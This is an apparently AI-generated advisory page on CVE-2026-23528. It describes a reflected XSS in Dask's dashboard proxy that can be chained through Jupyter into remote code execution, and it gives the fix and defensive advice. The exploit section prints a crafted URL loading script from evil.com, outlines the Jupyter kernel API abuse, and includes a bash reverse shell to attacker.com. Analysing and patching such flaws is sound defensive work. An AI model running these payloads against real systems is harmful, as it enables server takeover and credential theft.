CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23528
5.30.07%

Dask & Furious: Drifting from Reflected XSS to RCE via Jupyter Proxy

Alon Barad
Alon Barad
Software Engineer

Feb 17, 2026·6 min read·4 visits

PoC Available

Executive Summary (TL;DR)

A Reflected XSS vulnerability in Dask Distributed's HTTP proxy allows attackers to inject malicious JavaScript via a crafted URL. When accessed by a victim with an active Jupyter session, this script can leverage Jupyter's API to execute arbitrary Python code on the server. Fixed in version 2026.1.0.

In the world of data science, Dask is the heavy lifter, scaling Python code across clusters of machines. Usually, we worry about complex deserialization bugs or authentication bypasses in these distributed systems. But CVE-2026-23528 is a reminder that the classics never die. This is a story about a humble Reflected Cross-Site Scripting (XSS) vulnerability in the Dask dashboard that, when combined with the omnipresent Jupyter Lab, escalates into full-blown Remote Code Execution (RCE). It turns out, if you handle error messages carelessly, you might just hand over the keys to your compute cluster.

The Hook: Big Data, Big Problems

Dask is the darling of the Python data science ecosystem. It allows developers to scale libraries like pandas and NumPy across multiple cores or even massive clusters. To manage this orchestration, Dask provides a distributed scheduler and a handy web dashboard to visualize task progress. It's a tool built for speed and efficiency, often running deep within secured VPCs or behind corporate VPNs.

But here's the kicker: Data scientists love Jupyter. They live in it. Consequently, Dask dashboards are frequently exposed through Jupyter using jupyter-server-proxy. This proxy allows the Dask dashboard (running on a random port) to be accessible via a subpath of the main Jupyter interface (e.g., jupyter.lab/proxy/8787).

This architecture creates a fascinating bridge. We have the Dask dashboard, which is often developed with a "trust the network" mindset, sitting on the same origin as Jupyter, which is essentially a web-based remote shell. CVE-2026-23528 exploits this proximity. It targets a component meant to help users—the HTTP proxy error handler—and weaponizes it to bridge the gap between a harmless link click and a total system compromise.

The Flaw: Echo Chambers and Error Messages

The vulnerability resides in distributed/http/proxy.py. This module is responsible for routing requests from the main scheduler to individual workers. It's a traffic cop. When you ask to see the status of a specific worker, the proxy checks if that worker actually exists in the scheduler's registry. If the worker is missing, the code needs to tell you about it.

Here is where the developers fell into a trap as old as the web itself: Reflecting untrusted input. When a user requests a worker that doesn't exist, the application constructs a 400 Bad Request error message. Crucially, it includes the name of the requested worker in that message. The code treated the worker's address (derived from the URL path) as a simple string, never expecting it to contain HTML tags or JavaScript.

Because the underlying web framework (Tornado) defaults to serving strings as text/html when using self.finish(), the browser interprets the error message as a webpage. If an attacker puts <script>alert('pwned')</script> in the URL where the worker address should be, the server dutifully replies: "Worker <script>alert('pwned')</script> does not exist." The browser executes the script, and suddenly, we aren't just looking at an error message anymore; we are running code in the victim's origin.

The Code: A Tale of Two Commits

Let's look at the smoking gun. The vulnerable code in distributed/http/proxy.py was startlingly simple. It took the host and port from the URL, concatenated them, and shoved them into the response.

The Vulnerable Code:

async def http_get(self, port, host, proxied_path):
    # ... check if worker exists ...
    worker = f"{self.host}:{port}"
    if not check_worker_dashboard_exits(self.scheduler, worker):
        # VULNERABILITY: User input 'worker' is interpolated directly
        msg = "Worker <%s> does not exist" % worker
        self.set_status(400)
        self.finish(msg) # Tornado renders this as HTML by default
        return

It's a textbook case of CWE-79. The fix, applied in commit ab72092a8a938923c2bb51a2cd14ca26614827fa, is equally textbook: Sanitize your outputs.

The Patched Code:

import html
 
async def http_get(self, port, host, proxied_path):
    # ... check if worker exists ...
    worker = f"{self.host}:{port}"
    if not check_worker_dashboard_exits(self.scheduler, worker):
        # FIX: Escape HTML characters before rendering
        msg = f"Worker &lt;{html.escape(worker)}&gt; does not exist"
        self.set_status(400)
        self.finish(msg)
        return

The patch introduces html.escape(), which converts characters like < and > into their safe HTML entity equivalents (&lt; and &gt;). This ensures the browser renders the payload as harmless text rather than executing it as a script.

The Exploit: Weaponizing the Dashboard

So we have XSS. Why do we care? XSS on a marketing site might steal a session cookie, but XSS on a Dask dashboard proxied through Jupyter is an extinction-level event for that server. Because the dashboard is served via jupyter-server-proxy, it shares the same Same-Origin Policy context as Jupyter Lab itself.

An attacker creates a URL that looks like this:

http://target-jupyter:8888/proxy/8787/proxy/1234/<script src="http://evil.com/pwn.js"></script>/status

When the victim (a data scientist authenticated to Jupyter) clicks this link:

  1. The request hits the Dask proxy.
  2. Dask sees 1234:<script... is not a valid worker.
  3. Dask reflects the script back in the 400 error page.
  4. The browser executes pwn.js in the context of target-jupyter:8888.

From JavaScript to Python RCE:

Since the script runs on the Jupyter origin, it can make authenticated AJAX requests to the Jupyter API. The attacker's JavaScript payload will:

  1. List Kernels: Query /api/kernels to find a running Python kernel.
  2. Spawn Kernel: If none exist, POST to /api/kernels to start one.
  3. Execute Code: Open a WebSocket to the kernel's channel and send an execute_request message containing Python code: import os; os.system('bash -i >& /dev/tcp/attacker.com/4444 0>&1').

In seconds, a clicked link transforms into a reverse shell on the compute cluster.

The Impact: Your Cluster is My Cluster

The CVSS score of 5.3 is deceptively low here, primarily because it requires user interaction (the victim must click the link). However, in the context of targeted attacks against organizations using Dask and Jupyter, the severity is critical.

Successful exploitation grants the attacker the same privileges as the user running the Jupyter notebook. In many data science environments, this user has:

  • FileSystem Access: Read/Write access to datasets, models, and source code.
  • Cloud Credentials: Environment variables containing AWS keys or database credentials often loaded for data processing.
  • Compute Resources: The ability to deploy crypto-miners or lateral movement tools across the entire Dask cluster.

This isn't just about popping a calculator app; it's about exfiltrating proprietary algorithms and PII from what was assumed to be a secure internal tool.

The Fix: Sanitization and Segregation

If you are running dask or distributed versions prior to 2026.1.0, you are vulnerable. The primary remediation is to update immediately.

pip install --upgrade distributed

Beyond the patch, this vulnerability highlights a massive architectural risk: Hosting unverified applications on the same origin as sensitive tools.

Defense in Depth:

  1. Content Security Policy (CSP): Jupyter deployments should implement strict CSP headers that prevent the execution of inline scripts or scripts from untrusted domains. This would neutralize the XSS even if the injection is possible.
  2. Network Segmentation: Dask dashboards shouldn't be exposed blindly. If you don't need the proxy, disable it.
  3. Authentication scopes: Ideally, the proxy service should not share the authentication session cookies of the main Jupyter instance, though this breaks the seamless integration users expect.

As always, the best fix is code that doesn't trust user input. But since we can't audit every line of every dependency, defense in depth is the only safety net.

Official Patches

DaskCommit ab72092: Fix XSS in http proxy

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.07%
Top 79% most exploited

Affected Systems

Dask Distributed SchedulerJupyter Lab (via jupyter-server-proxy)Dask Dashboard

Affected Versions Detail

Product
Affected Versions
Fixed Version
distributed
Dask
< 2026.1.02026.1.0
AttributeDetail
CWE IDCWE-79 (Cross-site Scripting)
CVSS v4.05.3 (Medium)
Attack VectorNetwork (Reflected)
ImpactRemote Code Execution (via Chain)
Componentdistributed/http/proxy.py
Exploit MaturityProof of Concept (PoC)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.006Command and Scripting Interpreter: Python
Execution
T1212Exploitation for Credential Access
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Security AdvisoryOriginal advisory containing the exploitation logic and patch details.

Vulnerability Timeline

Vulnerability Disclosed & GHSA Published
2026-01-16
Patch Committed (ab72092)
2026-01-16
Listed in CISA Weekly Bulletin
2026-01-20

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.